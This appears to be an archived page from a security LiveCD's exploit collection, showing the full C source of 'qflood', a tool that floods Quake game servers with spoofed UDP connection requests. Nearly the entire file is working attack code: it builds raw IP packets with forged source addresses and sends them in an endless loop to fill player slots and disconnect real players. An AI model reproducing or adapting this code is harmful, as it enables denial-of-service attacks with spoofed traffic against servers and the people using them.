home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / quake / qflood.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  235 lines

  1. /*
  2.   qflood.c - Written by Andy Gavin (_k3nny@Efnet,
  3. k@EnterTheGame)
  4.   UDP spoofing idea taken from "arnudp" by Arny
  5. (cs6171@scitsc.wlv.ac.uk)
  6.   Original idea discussed on Bugtraq in 1998.
  7.  
  8.   This program will fill up a Quake server with spoofed
  9. "unconnected" clients, disallowing other players the
  10. ability to connect to the server since the player limit
  11. fills up quickly.  Additionally, if the server does not
  12. support multiple clients from the same IP address, it will
  13.  disconnect legitimate players if the spoofed connection
  14. request matches that player.
  15.  
  16.   Compiled on linux 2.2.19 with gcc 2.91.
  17.   Tested to work on all NetQuake servers.
  18.   Vendor status: Not contacted, since id Software has long
  19. abandoned Quake.
  20.  
  21.   Andy Gavin is not responsible for what you do with this
  22. program.  This is  meant for testing purposes only.
  23.  
  24.   Greets:
  25.   - Karen;
  26.   - Parents, Tim, Erica, and my dog;
  27.   - insyder, mechtoad, def, ap0k, informer, scythe, zer0v,
  28. fain, and the rest of #clanchat on Efnet;
  29.   - deek, cha0ticz, schmorky, Ir8Pir8, redmund, vise,
  30. _nuclear_, and the rest of #prediction on EnterTheGame;
  31.   - Joe W, Brian L (good luck...and we'll miss you), and the
  32. rest of the crew at work;
  33.   - Steve Yzerman
  34.   - Led Zeppelin, Pearl Jam, Radiohead, and Hum
  35. */
  36.  
  37. #include <ctype.h>
  38. #include <errno.h>
  39. #include <netdb.h>
  40. #include <signal.h>
  41. #include <stdio.h>
  42. #include <stdlib.h>
  43. #include <string.h>
  44. #include <time.h>
  45. #include <unistd.h>
  46. #include <arpa/inet.h>
  47. #include <netinet/in.h>
  48. #include <netinet/in_systm.h>
  49. #include <netinet/ip.h>
  50. #include <netinet/udp.h>
  51. #include <sys/socket.h>
  52. #include <sys/types.h>
  53.  
  54. struct sockaddr sa;
  55. struct node
  56. {
  57.   char *address;
  58.   struct node *next;
  59. };
  60.  
  61. struct node *head = NULL;
  62. struct node *tail;
  63.  
  64. void add_address( struct node **, char * );
  65. void sig_handler( int );
  66.  
  67. int main( int argc, char **argv )
  68. {
  69.   int x = 1;
  70.   int source_port, delay, fd;
  71.   struct sockaddr_in *p;
  72.   struct hostent *he;
  73.   struct node *current;
  74.   char *temp;
  75.  
  76.   u_char thePACKET[41]=
  77.   {
  78.     0x45,                       /* IP version, header len */
  79.     0x00,                       /* IP diff services field */
  80.     0x00, 0x29,                 /* IP total length */
  81.     0xc2, 0xb5,                 /* IP id */
  82.     0x00, 0x00,                 /* IP fragment offset */
  83.     0x80,                       /* IP TTL */
  84.     0x11,                       /* IP protocol */
  85.     0, 0,                       /* IP header checksum */
  86.     0, 0, 0, 0,                 /* IP src */
  87.     0, 0, 0, 0,                 /* IP dest */
  88.     0x00, 0x00,                 /* UDP src port */
  89.     0, 0,                       /* UDP dest port */
  90.     0x00, 0x15,                 /* length = 21 */
  91.     0x00, 0x00,                 /* UDP checksum */
  92.     0x80, 0x00,                 /* Quake flags */
  93.     0x00, 0x0d,                 /* Quake length */
  94.     0x01,                       /* Quake command = connect
  95. */
  96.     0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
  97.     0x45, 0x00,
  98.     0x03, 0x01                  /* Quake version = 3 */
  99.   };
  100.  
  101.   if( argc != 5 )
  102.   {
  103.     fprintf( stderr, "\nqflood - floods Quake servers with
  104. spoofed connection requests\n" );
  105.     fprintf( stderr, "\tWritten by Andy Gavin (_k3nny@Efnet,
  106. k@ETG)\n" );
  107.     fprintf( stderr, "\tUsage: %s <src> <server>
  108. <server_port> <delay>\n", *argv );
  109.     fprintf( stderr, "\t\tsrc = comma-delimited list of
  110. IPs/hostnames\n" );
  111.     fprintf( stderr, "\t\tserver = Quake server
  112. IP/hostname\n" );
  113.     fprintf( stderr, "\t\tserver_port = Quake server port\n"
  114. );
  115.     fprintf( stderr, "\t\tdelay = delay between connection
  116. requests (in msec)\n" );
  117.     fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3
  118. 10.0.0.10 26000 500\n\n", argv[0] );
  119.     exit( 0 );
  120.   }
  121.  
  122.   srand( time( NULL ));
  123.   delay = atoi( argv[4] ) * 1000;
  124.  
  125.   /* build a linked list of addresses entered on command
  126. line */
  127.   temp = strtok( argv[1], "," );
  128.   add_address( &head, temp );
  129.  
  130.   signal( SIGINT, sig_handler );
  131.  
  132.   tail = head;
  133.  
  134.   temp = strtok( NULL, "," );
  135.   while( temp != NULL )
  136.   {
  137.     add_address( &(tail->next), temp );
  138.     tail = tail->next;
  139.     temp = strtok( NULL, "," );
  140.   }
  141.  
  142.   current = head;
  143.  
  144.   while( 1 )
  145.   {
  146.     while( current != NULL )
  147.     {
  148.       if( ( he = gethostbyname( current->address )) == NULL
  149. )
  150.       {
  151.         fprintf( stderr, "Can't resolve src\n" );
  152.         exit( 0 );
  153.       }
  154.  
  155.       bcopy( *( he->h_addr_list ), ( thePACKET + 12 ), 4 );
  156.  
  157.       if( ( he = gethostbyname( argv[2]) ) == NULL )
  158.       {
  159.         fprintf( stderr, "Can't resolve server\n");
  160.         exit( 0 );
  161.       }
  162.  
  163.       bcopy( *( he->h_addr_list ), ( thePACKET + 16 ), 4 );
  164.  
  165.       source_port = rand() % 3976 + 1024;
  166.  
  167.       *(u_short*)(thePACKET + 20) = htons( (u_short)
  168. source_port );
  169.       *(u_short*)(thePACKET + 22) = htons( (u_short) atoi(
  170. argv[3] ));
  171.  
  172.       p = ( struct sockaddr_in* ) &sa;
  173.       p->sin_family = AF_INET;
  174.       bcopy( *( he->h_addr_list ), &(p->sin_addr), sizeof(
  175. struct in_addr ) );
  176.  
  177.       if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) ==
  178. -1 )
  179.       {
  180.         perror( "Can't create raw socket (you must run as
  181. root)" );
  182.         exit( 0 );
  183.       }
  184.  
  185.       if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x,
  186. sizeof(x)) < 0 )
  187.       {
  188.         perror( "setsockopt IP_HDRINCL error" );
  189.         exit( 0 );
  190.       }
  191.  
  192.       if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0,
  193. (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
  194.       {
  195.         perror( "sendto error" );
  196.         exit( 0 );
  197.       }
  198.  
  199.       printf( "Quake connection request sent from %s:%i to
  200. %s:%s\n", current->address, source_port, argv[2], argv[3] );
  201.  
  202.       usleep( delay );
  203.       current = current->next;
  204.     }
  205.     current = head;
  206.   }
  207.   exit( 1 );
  208. }
  209.  
  210. void add_address( struct node** reference, char *data )
  211. {
  212.   struct node* new_node = malloc( sizeof( struct node ));
  213.  
  214.   new_node->address = data;
  215.   new_node->next = *reference;
  216.   *reference = new_node;
  217. }
  218.  
  219. void sig_handler( int number )
  220. {
  221.   struct node *current = head;
  222.   struct node *next;
  223.  
  224.   printf( "\nCaught SIGINT.  Cleaning up memory..." );
  225.   while( current != NULL )
  226.   {
  227.     next = current->next;
  228.     free( current );
  229.     current = next;
  230.   }
  231.   printf( "done.\n\n" );
  232.   exit( 1 );
  233. }
  234.  
  235.